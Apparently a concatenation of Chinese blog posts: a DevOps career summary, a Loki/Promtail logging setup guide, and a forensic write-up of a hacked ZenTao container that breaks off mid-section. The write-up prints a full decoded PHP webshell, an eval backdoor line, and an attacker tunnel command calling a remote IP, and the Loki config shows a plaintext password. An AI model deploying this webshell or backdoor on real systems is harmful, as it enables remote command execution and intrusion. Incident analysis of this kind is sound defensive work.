从 xxxx 年 xx 月到 xxxx 年 xx 月，我在 xxxxxx 担任 DevOps 工程师。这是一段充满挑战与成长的旅程。在这篇文章里，我将回顾并总结我在这期间负责的主要工作、技术实践以及个人收获，希望能为同样走在 DevOps 路上的朋友们提供一些参考。

一、 核心职责：构建与守护高效稳定的基础设施

我的核心使命是为公司的产品和研发团队提供一个稳定、高效、自动化的基础设施环境。工作内容可以概括为以下几个方面：

1. 基础设施即代码 (IaC) 与云资源管理：

   • 全面负责公司在 AWS 上的云资源。初期，我接管了包括 EC2、VPC、IAM、S3 等核心服务的管理权限。
   • 为了实现标准化和可重复部署，我引入了 Terraform 来管理 VPC、EKS 集群等核心网络和计算资源，显著提升了基础设施部署的一致性和效率。
   • 主导了多次云环境的迁移和重构，包括将服务从旧 AWS 账户迁移到新账户，以及将部分服务从 AWS 迁移到公司的 PVE（Proxmox VE）私有云环境，有效优化了成本。

2. CI/CD 与自动化流程建设：

   • 利用 GitHub Actions 为公司几乎所有的项目（涵盖 Rust, Python, Node.js, Go 等技术栈）搭建了 CI/CD 流水线。
   • 设计并实现了标准化的 CI 流程，包括自动化构建、Docker 镜像打包、推送到 GHCR (GitHub Container Registry)，以及最终部署到 EKS 或 EC2。
   • 通过 Reusable Workflows 重构了 GitHub Actions，实现了 PR 提交/合并时自动发送通知到 Telegram 群组等功能，提升了团队协作效率。
   • 为移动端（App2.0, React Native/Expo）项目配置了 CI 流程，实现了从代码提交到自动构建 Android/iOS 包，并发布到 GitHub Release 的全过程自动化。

3. 监控、报警与日志系统建设：

   • 从零开始搭建了公司统一的监控报警体系。在 EKS 和 PVE 环境中部署了 Prometheus + Grafana + Alertmanager 技术栈。
   • 利用 Blackbox Exporter 对公司所有线上服务的 URL 进行健康检查和 SSL 证书过期监控。
   • 部署了 Loki + Promtail 组合，集中收集所有 Docker 容器和关键服务的日志，并通过 Grafana 实现了日志的集中查询和可视化。
   • 配置了多渠道报警，包括将 Prometheus 报警、AWS EventBridge 事件通过 Lambda 和 SNS 推送到 Telegram、Lark（飞书） 和 短信，确保故障能在第一时间被感知和响应。

4. 运维与服务保障：

   • 负责公司多条区块链（mainnet, testnet）的部署、重置、迁移和日常维护，包括 Validator 节点和 RPC 节点的管理。
   • 部署和维护了 KYC、邮件申诉、排行榜、空投等多个核心业务系统，并为它们建立了完善的 CI/CD 和监控。
   • 使用 Ansible 编写 Playbook，实现了对所有 Linux 服务器用户的自动化管理（如公钥分发、用户创建/删除）。
   • 通过 WireGuard 和 OpenVPN 打通了办公室、PVE 私有云和多个 AWS VPC 之间的内网，构建了安全便捷的混合云网络环境。

二、 主要项目与技术实践亮点

在一年多的时间里，我深度参与并主导了多个关键项目，以下是一些典型的例子：

• 从 0 到 1 搭建 EKS 平台：通过 Terraform 创建了完整的 EKS（Elastic Kubernetes Service）环境，包括 VPC、Node Group，并部署了 AWS Load Balancer Controller, Prometheus, Grafana, Loki 等核心组件，为服务的容器化部署打下了坚实基础。

• 自动化监控脚本开发：使用 Python 编写了一系列实用的小工具，并通过 GitHub Actions 定时执行，例如：

  • 监控 PVE 节点健康状况。
  • 监控域名和 SSL 证书的过期时间。
  • 每日自动获取 AWS 账单并发送通知。

• 混合云网络打通：成功实现了深圳办公室、香港 PVE 机房与 AWS 新加坡地域 VPC 之间的三网互通。通过在 PVE 和办公室部署软路由，并利用 WireGuard 建立隧道，解决了跨地域、跨云厂商的网络连接问题，为开发和测试提供了极大的便利。

• 服务迁移与成本优化：主导了将邮件申诉服务（MailServer）等多个应用从 AWS EC2 迁移到公司自建的 PVE 虚拟化平台，在保证服务稳定性的前提下，有效降低了云资源成本。

• 日志与审计系统建设：部署了 rsyslogd 和 systemd-journal-remote 服务，集中收集了所有服务器的系统日志和操作审计日志，为安全审计和问题追溯提供了有力支持。

三、 技术栈沉淀

在这段经历中，我熟练运用了以下技术和工具：

• 云平台: AWS (EC2, VPC, S3, IAM, EKS, RDS, Lambda, CloudFront, Amplify, Route 53)
• 虚拟化: Proxmox VE (PVE)
• IaC: Terraform, Ansible
• CI/CD: GitHub Actions
• 容器化: Docker, Docker Compose, Kubernetes (EKS)
• 监控与日志: Prometheus, Grafana, Alertmanager, Loki, Promtail, Blackbox Exporter
• 网络: WireGuard, OpenVPN, Nginx, HAProxy
• 脚本与编程: Python, Bash Shell
• 数据库: PostgreSQL, MySQL (RDS & 自建)
• 其他: Vault, Redis, MinIO

四、 总结与展望

在 xxxxxxx 的这段时间，我不只是一名执行者，更是一个问题解决者和流程优化者。从手动部署到全面自动化，从分散的资源到统一管理，我亲身经历了公司 DevOps 体系从无到有、从有到优的全过程。最大的收获不仅仅是技术的广度和深度得到了极大的拓展，更重要的是培养了从全局视角思考问题、主动发现并解决潜在风险的 DevOps 思维。

感谢在 xxxxxxxx 的这段宝贵经历，它为我的职业生涯画下了浓墨重彩的一笔。未来，我将继续在云原生和自动化的道路上探索前行。

之前用 rsyslogd 做过一个集中的 log server，主要是收集服务器系统和审计日志。最近要做的这个集中的 log server，则是专注于收集、展示应用日志的。我现在的服务器，操作系统有两种：Debian 12(bookworm) 和 Ubuntu 24.04，准确的说：应用服务器都是 Ubuntu 24.04，只有运维专用的两台（含要做的这个 log server）是 Debian 12。

因为是小厂，所以就摒弃掉大而重的 elasicsearch 系的方案，直接用 grafana 同源的 loki 来做服务端，客户端收集日志也是 grafana 同源的 promtail，技术方案选型就这么愉快得决定了。

server

install

服务器软件（主要是 loki）的安装，具体参见官方文档：Install Grafana on Debian or Ubuntu

大致总结下，就是：

1
2
3
4
5
6
7
8
9
10
11
12
13
14

sudo apt-get install -y \
  apt-transport-https \
  software-properties-common \
  wget
sudo mkdir -p /etc/apt/keyrings/
wget -q -O - https://apt.grafana.com/gpg.key | \
  gpg --dearmor | \
  sudo tee /etc/apt/keyrings/grafana.gpg > /dev/null
echo \
  "deb [signed-by=/etc/apt/keyrings/grafana.gpg] https://apt.grafana.com stable main" \
   | sudo tee -a /etc/apt/sources.list.d/grafana.list
sudo apt-get update
sudo apt-get install loki grafana-enterprise
# 上面是因为我的 loki 和 grafana 在一台机器上，所以就一起装了

configuration

loki 的 log server 配置还是相当简单的

1
2

vim /etc/loki/config.yml
# 修改 /etc/loki/config.yml 文件

加入如下内容：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68

auth_enabled: false

server:
  http_listen_port: 3100
  grpc_listen_port: 9096
  log_level: warn
  grpc_server_max_concurrent_streams: 500

common:
  instance_addr: 127.0.0.1
  path_prefix: /var/lib/loki/loki
  storage:
    filesystem:
      chunks_directory: /var/lib/loki/loki/chunks
      rules_directory: /var/lib/loki/loki/rules
  replication_factor: 1
  ring:
    kvstore:
      store: inmemory

query_range:
  results_cache:
    cache:
      embedded_cache:
        enabled: true
        max_size_mb: 500

compactor:
  working_directory: /var/lib/loki/data/retention
  compaction_interval: 1h
  retention_enabled: true
  retention_delete_delay: 2h
  retention_delete_worker_count: 50
  delete_request_store: filesystem

limits_config:
  reject_old_samples: true
  reject_old_samples_max_age: 24h
  max_query_series: 5000
  retention_period: 720h
  ingestion_rate_mb: 20
  ingestion_burst_size_mb: 40
  max_entries_limit_per_query: 5000

schema_config:
  configs:
    - from: 2020-10-24
      store: tsdb
      object_store: filesystem
      schema: v13
      index:
        prefix: index_
        period: 24h

pattern_ingester:
  enabled: true

ruler:
  alertmanager_client:
    basic_auth_username: cl-am-admin
    basic_auth_password: jFWVXDJX
  alertmanager_url: localhost:9093

frontend:
  encoding: protobuf

analytics:
  reporting_enabled: false

重启 loki

1

systemctl restart loki

client

客户端上我们是用 promtail 来收集日志的。promtail 可以用系统安装的，也可以用
Docker 来跑，收集的日志也主要是两块：

1. 应用程序的日志，这些是直接写在文件里的
2. Docker container 的日志

假设我们的 promtail 是用 Docker 来跑的，我们用的 docker compose 文件（~/promtail.yaml）内容如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

name: promtail
services:
  promtail:
    image: grafana/promtail:3.3.2
    container_name: promtail
    restart: unless-stopped
    volumes:
      - ~/promtail:/mnt/config
      - /var/lib/docker/containers:/var/lib/docker/containers:ro
      - /var/run/docker.sock:/var/run/docker.sock
      - /var/log/nginx:/var/log/nginx
    labels:
      SVC_NAME: promtail
    networks:
      - custombridge
    command: ["-config.file=/mnt/config/promtail-config.yaml", "-config.expand-env=true"]
    environment:
      - HOSTNAME=app-0
      - HOST_IP=172.24.125.149

networks:
  custombridge:
    external: true

然后其真正的配置文件 ~/promtail/promtail-config.yaml 的内容如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54

server:
  http_listen_port: 9080
  grpc_listen_port: 0

positions:
  filename: /mnt/config/var_log_positions.yaml

clients:
  - url: http://loki.xxx.com:3100/loki/api/v1/push

scrape_configs:
  - job_name: docker
    docker_sd_configs:
      - host: unix:///var/run/docker.sock
        refresh_interval: 5s
    relabel_configs:
      - action: replace
        replacement: '${HOSTNAME}'
        target_label: 'hostname'
      - action: replace
        replacement: '${HOST_IP}'
        target_label: 'host_ip'
      - action: replace
        replacement: 'docker'
        target_label: 'job'
      - source_labels: ['__meta_docker_container_name']
        regex: '/(.*)'
        target_label: 'container_name'
      - source_labels: ['__meta_docker_container_id']
        target_label: 'container_id'
      - source_labels: ['__meta_docker_container_label_REPO_NAME']
        target_label: 'repo_name'
      - source_labels: ['__meta_docker_container_label_SVC_NAME']
        target_label: 'svc_name'

  - job_name: nginx
    static_configs:
      - targets:
          - localhost
        labels:
          job: nginx
          svc_name: nginx
          hostname: ${HOSTNAME} 
          host_ip: ${HOST_IP}
          agent: promtail
          __path__: /var/log/nginx/access.log
    pipeline_stages:
      - json:
          expressions:
            domain_name: http_host
            return_code: status
      - labels:
          domain_name: 
          return_code:

上面的 loki.xxx.com 就是 loki server 的地址，由上面的例子我们可以看到 promtail 同时收集了系统应用（nginx）的日志和 Docker container 的日志

最后启动 loki

1

docker compose -f ~/promtail.yaml up promtail -d

参考

• https://grafana.com/docs/grafana/latest/setup-grafana/installation/debian/

最早发现是 2025-05-06 下午，发现 PVE 的香港出口带宽异常，接着发现跟 176.32.35.190 的 tcp 端口 8024 有大量的数据交互

然后在 2025-05-07 上午，用 docker exec -it zentao /bin/bash 进入容器，apt install psmisc，然后 pstree -a 才确认被入侵的。

zentao 容器内执行 pstree -a 输出：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51

s6-svscan /etc/s6/s6-enable
  |-s6-supervise 00-mysql
  |   `-mysqld_safe /opt/zbox/run/mysql/mysqld_safe ...
  |       `-mariadbd --defaults-file=/data/mysql/etc/my.cnf--basedir=/opt/zbox/run
  |           `-13*[{mariadbd}]
  |-s6-supervise 02-sentry
  |   `-tail -f /tmp/sentry.log
  |-s6-supervise 03-roadrunner
  |   `-rr serve -c /apps/zentao/roadrunner/.rr.yaml
  |       `-5*[{rr}]
  |-s6-supervise 01-apache
  |   `-apachectl /opt/zbox/bin/apachectl -D FOREGROUND
  |       `-httpd -D FOREGROUND
  |           |-httpd -D FOREGROUND
  |           |   `-sh -c ...
  |           |       `-sh -c cd /tmp;./slix;echo 60b45fc9adc5;pwd;echo b0c6bc8c2
  |           |           `-slix
  |           |               |-sh
  |           |               |-sh
  |           |               |-sh
  |           |               |-sh
  |           |               |-sh
  |           |               |-sh
  |           |               |-sh
  |           |               |-sh
  |           |               |-sh
  |           |               |-sh
  |           |               |-sh
  |           |               |   `-scanb.sh ./scanb.sh
  |           |               |       `-fs -h 192.168.38.0/24 -o 192b.txt -t 5 -np ...
  |           |               |           `-8*[{fs}]
  |           |               `-4*[{slix}]
  |           |-httpd -D FOREGROUND
  |           |-httpd -D FOREGROUND
  |           |   `-sh -c...
  |           |       `-sh -c...
  |           |           `-ns -server=176.32.35.190:8024 -vkey=82yukro912ktndfc ...
  |           |               `-11*[{ns}]
  |           |-httpd -D FOREGROUND
  |           |-httpd -D FOREGROUND
  |           |-httpd -D FOREGROUND
  |           |-httpd -D FOREGROUND
  |           |-httpd -D FOREGROUND
  |           |-httpd -D FOREGROUND
  |           |-httpd -D FOREGROUND
  |           |-httpd -D FOREGROUND
  |           |-httpd -D FOREGROUND
  |           `-httpd -D FOREGROUND
  `-scanb.sh ./scanb.sh
      `-fs -h 192.168.39.0/24 -o 192b.txt -t 5 -np
          `-8*[{fs}]

对比一下正常的 pstree -a 的结果吧：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

s6-svscan /etc/s6/s6-enable
  |-s6-supervise 00-mysql
  |   `-mysqld_safe /opt/zbox/run/mysql/mysqld_safe ...
  |       `-mariadbd --defaults-file=/data/mysql/etc/my.cnf--basedir=/opt/zbox/run
  |           `-7*[{mariadbd}]
  |-s6-supervise 02-sentry
  |   `-run ./run
  |       `-sleep 4
  |-s6-supervise 03-roadrunner
  |   `-run ./run
  |       `-sleep 1
  `-s6-supervise 01-apache
      `-apachectl /opt/zbox/bin/apachectl -D FOREGROUND
          `-httpd -D FOREGROUND
              |-httpd -D FOREGROUND
              |-httpd -D FOREGROUND
              |-httpd -D FOREGROUND
              |-httpd -D FOREGROUND
              `-httpd -D FOREGROUND

完了，确认被黑了。

zentao 容器内执行 ps auxww | grep ns 发现输出：

1
2
3
4

nobody   3084676  0.0  0.0   2480   516 ?        S    Apr23   0:00 sh -c /bin/sh -c "cd "/bin";/tmp/.1/ns -server=176.32.35.190:8024 -vkey=82yukro912ktndfc -type=tcp;echo dc721;pwd;echo 291d6457e" 2>&1
nobody   3084677  0.0  0.0   2480   524 ?        S    Apr23   0:00 /bin/sh -c cd /bin;/tmp/.1/ns -server=176.32.35.190:8024 -vkey=82yukro912ktndfc -type=tcp;echo dc721;pwd;echo 291d6457e
nobody   3084678  0.1  0.3 858416 55708 ?        Sl   Apr23  37:05 /tmp/.1/ns -server=176.32.35.190:8024 -vkey=82yukro912ktndfc -type=tcp
root     3098254  0.0  0.0   3240   648 pts/0    S+   13:20   0:00 grep ns

zentao 容器内执行 ps auxww | grep slix 输出：

1
2
3
4

nobody    975792  0.0  0.0   2480   540 ?        S    Apr17   0:00 sh -c /bin/sh -c "cd "/tmp";./slix;echo 60b45fc9adc5;pwd;echo b0c6bc8c2" 2>&1
nobody    975793  0.0  0.0   2480   544 ?        S    Apr17   0:00 /bin/sh -c cd /tmp;./slix;echo 60b45fc9adc5;pwd;echo b0c6bc8c2
nobody    975794  0.0  0.0   5788  2936 ?        Sl   Apr17  23:43 ./slix
root     3141372  0.0  0.0   3240   648 pts/0    S+   11:21   0:00 grep slix

应急处理

将被入侵容器 zentao 挪到 none 网络，然后将 zentao 容器改名

1
2
3

docker network disconnect chainless zentao
docker network connect none zentao
docker rename zentao zentao_hacked

继续分析

基本信息

zentao 容器：

• ip: 172.16.0.2
• image: easysoft/zentao:21.4
• publish port: 8002

zentao 容器宿主机：

• ip: 192.168.0.11 or 192.168.1.11

宿主机是一台 vm，宿主机是一台有着公网地址的物理及：PVE

• ip:
  • a.a.a.a(香港线路接口 IP，缺省出口)
  • b.b.b.b(中国移动接口 IP)
  • 192.168.0.1 和 192.168.1.1(内部网桥 ip，所有 vm 都是接在网桥上的)
• nginx
  • 做了个虚机 proxy_pass 到容器宿主机的 8002 端口，所以可以通过 PVE 的公网入口访问 zentao

whois 的信息（whois 176.32.35.190 的输出）：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44

% This is the RIPE Database query service.
% The objects are in RPSL format.
%
% The RIPE Database is subject to Terms and Conditions.
% See https://docs.db.ripe.net/terms-conditions.html

% Note: this output has been filtered.
%       To receive output for a database update, use the "-B" flag.

% Information related to '176.32.35.0 - 176.32.35.255'

% Abuse contact for '176.32.35.0 - 176.32.35.255' is 'noc@baxet.ru'

inetnum:        176.32.35.0 - 176.32.35.255
netname:        BX-NETWORK
country:        RU
admin-c:        DS9183-RIPE
tech-c:         DS9183-RIPE
status:         ASSIGNED PA
mnt-by:         BX-NOC
created:        2017-12-13T12:29:22Z
last-modified:  2017-12-13T12:29:22Z
source:         RIPE # Filtered

person:         Dmitry Shilyaev
remarks:        https://justhost.ru
address:        Moscow, Russia
phone:          +74956680903
nic-hdl:        DS9183-RIPE
mnt-by:         BX-NOC
created:        2011-11-03T08:14:05Z
last-modified:  2020-07-26T15:49:06Z
source:         RIPE # Filtered

% Information related to '176.32.35.0/24AS51659'

route:          176.32.35.0/24
origin:         AS51659
mnt-by:         BX-NOC
created:        2017-12-13T12:30:03Z
last-modified:  2017-12-13T12:30:03Z
source:         RIPE

% This query was served by the RIPE Database Query Service version 1.117 (BUSA)

容器宿主机上执行 docker inspect zentao | grep -i privileged，输出：

        "Privileged": false,

zentao_hacked(容器 zentao 改名来的) 容器内执行 ls -la /tmp 输出：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

total 22972
drwxrwxrwt 1 root   root        4096 May  7 13:20 .
drwxr-xr-x 1 root   root        4096 Feb 19 11:12 ..
drwxr-xr-x 2 nobody nogroup     4096 May  7 13:35 .1
-rw-r--r-- 1 nobody nogroup      674 Apr 16 14:47 .32915ant_x64.so
-rw-r--r-- 1 nobody nogroup    11565 Apr 21 11:34 12.txt
-rw-r--r-- 1 nobody nogroup    18911 Apr 23 17:27 192b.txt
-rw-r--r-- 1 nobody nogroup    81209 May  2 16:55 22.txt
drwxr-xr-x 3 nobody nogroup     4096 Apr 16 17:36 CVE-2021-22555-Exploit
-rw-rw---- 1 nobody nogroup       56 Apr 15 20:35 adminer.invalid
-rw-rw---- 1 nobody nogroup      401 Apr 20 12:21 adminer.version
-rwxr-xr-x 1 nobody nogroup 10137752 Feb 23 01:32 cdk_linux_386
-rwxrwxrwx 1 nobody nogroup  7100304 Apr 16 16:59 fs
-rw-r--r-- 1 nobody nogroup      268 Apr 16 14:47 gconv-modules
-rw-r--r-- 1    501 staff      15236 Jul 11  2024 package.xml
-rw------- 1 nobody nogroup    44113 Apr 23 10:54 phpx2lUxr
-rw-r--r-- 1 nobody nogroup    36381 Apr 20 17:20 result.txt
-rwxr-xr-x 1 nobody nogroup  4903024 Apr 20 16:00 rustscan
-rwxr-xr-x 1 nobody nogroup     1047 Apr 22 14:28 scanb.sh
-rw-r--r-- 1 root   root           0 Feb 19 11:13 sentry.log
-rwxr-xr-x 1 nobody nogroup  1106480 Oct 13  2023 slix

可疑文件分析

zentao_hacked(容器 zentao 改名来的) 容器内执行 stat /tmp/phpx2lUxr 的输出：

File: /tmp/phpx2lUxr
Size: 44113 Blocks: 88 IO Block: 4096 regular file
Device: 5eh/94dInode: 2374031 Links: 1
Access: (0600/-rw——-) Uid: (65534/ nobody) Gid: (65534/ nogroup)
Access: 2025-05-07 13:05:27.412000000 +0800
Modify: 2025-04-23 10:54:16.944000000 +0800
Change: 2025-04-23 10:54:16.944000000 +0800
Birth: 2025-04-23 10:54:16.944000000 +0800

/tmp/phpx2lUxr 文件太大，就不列内容了，但这是一个非常重要的文件，我们来分析一下这个文件吧

再弄个 python 程序：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

# a.py
import base64
import urllib.parse

with open('phpx2lUxr', 'r') as f:
    data = f.read()

# 拆分 key=value
for pair in data.split('&'):
    if '=' in pair:
        key, value = pair.split('=', 1)
        # 先 URL 解码
        value_decoded = urllib.parse.unquote(value)
        # 尝试 base64 解码
        try:
            decoded = base64.b64decode(value_decoded).decode('utf-8')
            # 如果解码后有明显 PHP 代码特征
            if '<?php' in decoded or 'eval' in decoded or 'base64_decode' in decoded:
                print(f'Key: {key}\nDecoded:\n{decoded}\n')
        except Exception:
            continue

执行：

1

python3 a.py

输出：

Key: bd87898bcbf27d
Decoded:
@ini_set(“display_errors”, “0”);@set_time_limit(0);$opdir=@ini_get(“open_basedir”);if($opdir) {$ocwd=dirname($_SERVER[“SCRIPT_FILENAME”]);$oparr=preg_split(base64_decode(“Lzt8Oi8=”),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item.”/.dd4073a3309”;@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set(“open_basedir”, “..”);$cntarr=@preg_split(“/\\|//“,$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir(“..”);};@ini_set(“open_basedir”,”/“);@rmdir($tmdir);break;};};;function asenc($out){return @base64_encode($out);};function asoutput(){$output=ob_get_contents();ob_end_clean();echo “67”.”035”;echo @asenc($output);echo “031”.”531”;}ob_start();try{$p=base64_decode(substr($_POST[“h82ad1117a8e69”],2));$s=base64_decode(substr($_POST[“h51d3ad7f0190a”],2));$envstr=@base64_decode(substr($_POST[“pb5f3a839543ad”],2));$d=dirname($_SERVER[“SCRIPT_FILENAME”]);$c=substr($d,0,1)==”/“?”-c "{$s}"“:”/c "{$s}"“;if(substr($d,0,1)==”/“){@putenv(“PATH=”.getenv(“PATH”).”:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin”);}else{@putenv(“PATH=”.getenv(“PATH”).”;C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;”);}if(!empty($envstr)){$envarr=explode(“|||asline|||”, $envstr);foreach($envarr as $v) {if (!empty($v)) {@putenv(str_replace(“|||askey|||”, “=”, $v));}}}$r=”{$p} {$c}”;function fe($f){$d=explode(“,”,@ini_get(“disable_functions”));if(empty($d)){$d=array();}else{$d=array_map(‘trim’,array_map(‘strtolower’,$d));}return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));};function runshellshock($d, $c) {if (substr($d, 0, 1) == “/“ && fe(‘putenv’) && (fe(‘error_log’) || fe(‘mail’))) {if (strstr(readlink(“/bin/sh”), “bash”) != FALSE) {$tmp = tempnam(sys_get_temp_dir(), ‘as’);putenv(“PHP_LOL=() { x; }; $c >$tmp 2>&1”);if (fe(‘error_log’)) {error_log(“a”, 1);} else {mail(“a@127.0.0.1“, “”, “”, “-bv”);}} else {return False;}$output = @file_get_contents($tmp);@unlink($tmp);if ($output != “”) {print($output);return True;}}return False;};function runcmd($c){$ret=0;$d=dirname($_SERVER[“SCRIPT_FILENAME”]);if(fe(‘system’)){@system($c,$ret);}elseif(fe(‘passthru’)){@passthru($c,$ret);}elseif(fe(‘shell_exec’)){print(@shell_exec($c));}elseif(fe(‘exec’)){@exec($c,$o,$ret);print(join(“
“,$o));}elseif(fe(‘popen’)){$fp=@popen($c,’r’);while(!@feof($fp)){print(@fgets($fp,2048));}@pclose($fp);}elseif(fe(‘proc_open’)){$p = @proc_open($c, array(1 => array(‘pipe’, ‘w’), 2 => array(‘pipe’, ‘w’)), $io);while(!@feof($io[1])){print(@fgets($io[1],2048));}while(!@feof($io[2])){print(@fgets($io[2],2048));}@fclose($io[1]);@fclose($io[2]);@proc_close($p);}elseif(fe(‘antsystem’)){@antsystem($c);}elseif(runshellshock($d, $c)) {return $ret;}elseif(substr($d,0,1)!=”/“ && @class_exists(“COM”)){$w=new COM(‘WScript.shell’);$e=$w->exec($c);$so=$e->StdOut();$ret.=$so->ReadAll();$se=$e->StdErr();$ret.=$se->ReadAll();print($ret);}else{$ret = 127;}return $ret;};$ret=@runcmd($r.” 2>&1”);print ($ret!=0)?”ret={$ret}”:””;;}catch(Exception $e){echo “ERROR://“.$e->getMessage();};asoutput();die();

把 php 代码格式化后，得到：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159

@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir) {
$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
if(!@is_writable($item)){
continue;
};
$tmdir=$item."/.dd4073a3309";
@mkdir($tmdir);
if(!@file_exists($tmdir)){
continue;
}
$tmdir=realpath($tmdir);
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr=@preg_split("/\\\\|\//",$tmdir);
for($i=0;$i<sizeof($cntarr);$i++){
@chdir("..");
};
@ini_set("open_basedir","/");
@rmdir($tmdir);
break;
};
};
;
function asenc($out){
return @base64_encode($out);
};
function asoutput(){
$output=ob_get_contents();
ob_end_clean();
echo "67"."035";
echo @asenc($output);
echo "031"."531";
}
ob_start();
try{
$p=base64_decode(substr($_POST["h82ad1117a8e69"],2));
$s=base64_decode(substr($_POST["h51d3ad7f0190a"],2));
$envstr=@base64_decode(substr($_POST["pb5f3a839543ad"],2));
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
$c=substr($d,0,1)=="/"?"-c \"{
$s
}
\"":"/c \"{
$s
}
\"";
if(substr($d,0,1)=="/"){
@putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
}else{
@putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
}
if(!empty($envstr)){
$envarr=explode("|||asline|||", $envstr);
foreach($envarr as $v) {
if (!empty($v)) {
@putenv(str_replace("|||askey|||", "=", $v));
}
}
}
$r="{
$p}
 {
$c}
";
function fe($f){
$d=explode(",",@ini_get("disable_functions"));
if(empty($d)){
$d=array();
}else{
$d=array_map('trim',array_map('strtolower',$d));
}
return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));
};
function runshellshock($d, $c) {
if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
$tmp = tempnam(sys_get_temp_dir(), 'as');
putenv("PHP_LOL=() {x;};$c >$tmp 2>&1");
if (fe('error_log')) {
error_log("a", 1);
} else {
mail("a@127.0.0.1", "", "", "-bv");
}
} else {
return False;
}
$output = @file_get_contents($tmp);
@unlink($tmp);
if ($output != "") {
print($output);
return True;
}
}
return False;
}
;
function runcmd($c){
$ret=0;
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
if(fe('system')){
@system($c,$ret);
}elseif(fe('passthru')){
@passthru($c,$ret);
}elseif(fe('shell_exec')){
print(@shell_exec($c));
}elseif(fe('exec')){
@exec($c,$o,$ret);
print(join("",$o));
}elseif(fe('popen')){
$fp=@popen($c,'r');
while(!@feof($fp)){
print(@fgets($fp,2048));
}
@pclose($fp);
}elseif(fe('proc_open')){
$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
while(!@feof($io[1])){
print(@fgets($io[1],2048));
}
while(!@feof($io[2])){
print(@fgets($io[2],2048));
}
@fclose($io[1]);
@fclose($io[2]);
@proc_close($p);
}elseif(fe('antsystem')){
@antsystem($c);
}elseif(runshellshock($d, $c)) {
return $ret;
}elseif(substr($d,0,1)!="/" && @class_exists("COM")){
$w=new COM('WScript.shell');
$e=$w->exec($c);
$so=$e->StdOut();
$ret.=$so->ReadAll();
$se=$e->StdErr();
$ret.=$se->ReadAll();
print($ret);
}else{
$ret = 127;
}
return $ret;
}
;
$ret=@runcmd($r." 2>&1");
print ($ret!=0)?"ret={$ret}":"";
;
}
catch(Exception $e){
echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();

找到一个后门：/apps/zentao/config/config.php，权限 777,最后一句：

1

@eval($_POST['nasik1']);

执行 stat config/config.php，输出：

File: config/config.php
Size: 16600 Blocks: 40 IO Block: 4096 regular file
Device: 5eh/94dInode: 2374867 Links: 1
Access: (0777/-rwxrwxrwx) Uid: (65534/ nobody) Gid: (65534/ nogroup)
Access: 2025-05-13 12:51:49.652000000 +0800
Modify: 2025-04-16 13:08:56.368000000 +0800
Change: 2025-04-16 13:08:56.368000000 +0800
Birth: 2025-02-19 14:01:10.416000000 +0800

继续漏洞分析

这个版本的禅道自带 adminer(版本 4.8.2-dev)，这个是我到代码目录下才看见的。我找了找 adminer 的漏洞，很容易就找到一个，但是这个漏洞的利用必须得先要

1. 有能登录数据库的账号密码
2. 这个数据库账号还需要有 FILE 权限

而恰好，当时跑 zentao 之后第一次安装时，数据库设置选的缺省的账号密码，本来缺省的也没事，毕竟数据库只能本地连，但 adminer 一下子又让 web 可以访问，于是，web 也就能连数据库了，再加上还是缺省账号密码，于是就能 web 登录数据库了，然后缺省账号密码权限还很高，于是直接就能写后门了。

至于前面看到的 /apps/zentao/config/config.php 里最后的一句：

1

@eval($_POST['nasik1']);

都是在 adminer 中登录数据库以后，执行 sql 语句：

1

